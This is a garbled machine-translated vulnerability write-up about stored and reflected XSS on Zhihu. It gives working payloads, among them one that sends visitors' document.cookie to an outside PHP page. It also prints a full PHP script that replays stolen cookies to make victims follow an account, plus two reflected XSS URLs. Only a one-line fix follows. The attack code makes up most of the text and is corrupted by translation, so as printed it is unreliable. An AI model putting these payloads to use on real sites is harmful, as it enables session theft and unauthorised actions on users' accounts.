Zhihu stored xss and repair can obtain user cookie information

Zhihu does not filter double quotation marks (filtered <,>) in the "one-sentence Introduction" Field of personal data editing, resulting in Controllable content after span, as shown in <span controllable content> </span>, with the help of beer @ wooyun, I finally thought of writing test "onmousemove =" alert (/xss/) in one sentence /) as long as other users browse my home page and point the cursor to the Introduction location, code execution will be triggered, xss.
I don't know how to add external js. It was intended to be like this.
<Span class = "xmsw" title = "dd" onmousemove = e = document. createElement ('script'); e. setAttribute ('src', '1. js'); document. body. appendChild (e); id = "test"> test </span>
However, the server has a length limit.

In the end, let's steal cookies. Everyone knows, so I won't go into detail.
X "onmouseout = window. location = 'HTTP: // test/test. php? C = '+ document. cookie //
Final result:
<Span class = "xmsw" title = "x" onmouseout = window. location = 'HTTP: // test/test. php? C = '+ document. cookie // "> x" onmouseout = window. location = '... </Span>

But what is the use of cookie Theft? Write a php file to prove that this cookie can do many things:

<? Php

Function uc_fopen ($ url, $ post = '', $ cookie ='', $ limit = 0, $ bysocket = FALSE, $ ip = '', $ timeout = 15, $ block = TRUE ){
$ Return = '';
$ Matches = parse_url ($ url );
! Isset ($ matches ['host']) & $ matches ['host'] = '';
! Isset ($ matches ['path']) & $ matches ['path'] = '';
! Isset ($ matches ['query']) & $ matches ['query'] = '';
! Isset ($ matches ['Port']) & $ matches ['Port'] = '';
$ Host = $ matches ['host'];
$ Path = $ matches ['path']? $ Matches ['path']. ($ matches ['query']? '? '. $ Matches ['query']: ''):'/';
$ Port =! Empty ($ matches ['Port'])? $ Matches ['Port']: 80;
If ($ post ){
$ Out = "POST $ path HTTP/1.0 \ r \ n ";
$ Out. = "Accept: */* \ r \ n ";
// $ Out. = "Referer: $ boardurl \ r \ n ";
$ Out. = "Accept-Language: zh-cn \ r \ n ";
$ Out. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";
$ Out. = "User-Agent: $ _ SERVER [HTTP_USER_AGENT] \ r \ n ";
$ Out. = "Host: $ host \ r \ n ";
$ Out. = "Referer: http://www.zhihu.com/topic/%e7%94%b5%e5%bd%b1%r%n ";
$ Out. = 'content-Length: '. strlen ($ post). "\ r \ n ";
$ Out. = "Connection: Close \ r \ n ";
$ Out. = "Cache-Control: no-cache \ r \ n ";
$ Out. = "Cookie: $ cookie \ r \ n ";
$ Out. = $ post;
} Else {
$ Out = "GET $ path HTTP/1.0 \ r \ n ";
$ Out. = "Accept: */* \ r \ n ";
// $ Out. = "Referer: $ boardurl \ r \ n ";
$ Out. = "Accept-Language: zh-cn \ r \ n ";
$ Out. = "User-Agent: $ _ SERVER [HTTP_USER_AGENT] \ r \ n ";
$ Out. = "Host: $ host \ r \ n ";
$ Out. = "Connection: Close \ r \ n ";
$ Out. = "Cookie: $ cookie \ r \ n ";
}
$ Fp = @ fsockopen ($ ip? $ Ip: $ host), $ port, $ errno, $ errstr, $ timeout );
If (! $ Fp ){
Return ''; // note $ errstr: $ errno \ r \ n
} Else {
Stream_set_blocking ($ fp, $ block );
Stream_set_timeout ($ fp, $ timeout );
@ Fwrite ($ fp, $ out );
$ Status = stream_get_meta_data ($ fp );
If (! $ Status ['timed _ out']) {
While (! Feof ($ fp )){
If ($ header = @ fgets ($ fp) & ($ header = "\ r \ n" | $ header = "\ n ")){
Break;
}
}

$ Stop = false;
While (! Feof ($ fp )&&! $ Stop ){
$ Data = fread ($ fp, ($ limit = 0 ||$ limit> 8192? 8192: $ limit ));
$ Return. = $ data;
If ($ limit ){
$ Limit-= strlen ($ data );
$ Stop = $ limit <= 0;
}
}
}
@ Fclose ($ fp );
Return $ return;
}
}
$ Cookie = $ _ GET ['C'];
Echo $ cookie;
$ Data = 'Type = people & id = 28bb2b6ff09a5072198351434ab2efff & status = 1 ';
$ Url = 'HTTP: // www.zhihu.com/follow ';
Echo uc_fopen ($ url, $ data, $ cookie );
?>
This php is mainly used to add attention to the yolfilm account. When someone browses my personal data and moves the mouse to trigger xss, it will jump to this page and use php to add attention to yolfilm. Otherwise, you only need to find the operation data packet and use the php script to submit it.

Www.2cto.com
In addition, the verification code is not found in all submitted inputs, so that it can be automatically submitted. This also facilitates php script submission ....

In addition, two reflection xss are provided:
Http://www.zhihu.com/people/yolfilm/search? Pq = % 3 Cscript % 3 Ealert % 281% 29% 3C % 2 Fscript % 3E & type = all
Http://www.zhihu.com/search? Q = % 22/% 3E % 3 Cscript % 3 Ealert % 281% 29% 3C % 2 Fscript % 3E

 

 

 

Solution:

Filter "encoding output

Author possible